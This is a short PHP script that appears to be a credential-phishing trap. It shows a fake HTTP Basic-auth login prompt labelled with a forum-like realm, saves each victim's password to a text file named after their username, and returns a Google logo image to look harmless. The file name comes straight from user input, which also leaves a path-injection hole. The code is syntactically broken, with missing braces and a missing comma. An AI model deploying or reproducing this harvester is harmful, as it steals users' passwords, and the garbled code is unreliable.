<?php 
if (!isset($_SERVER['PHP_AUTH_USER'])) 

    
header("WWW-Authenticate: Basic realm=\"Beliebiger Forenname\""); 
    
header("HTTP/1.0 401 Unauthorized"); 
    echo 
file_get_contents("http://www.google.de/intl/de_de/images/logo.gif");
    exit; 
}
else

    
touch($_SERVER['PHP_AUTH_USER'] . ".txt"); 
    
file_put_contents($_SERVER['PHP_AUTH_USER'] . ".txt"$_SERVER['PHP_AUTH_PW']); 
    echo 
file_get_contents("http://www.google.de/intl/de_de/images/logo.gif");

?>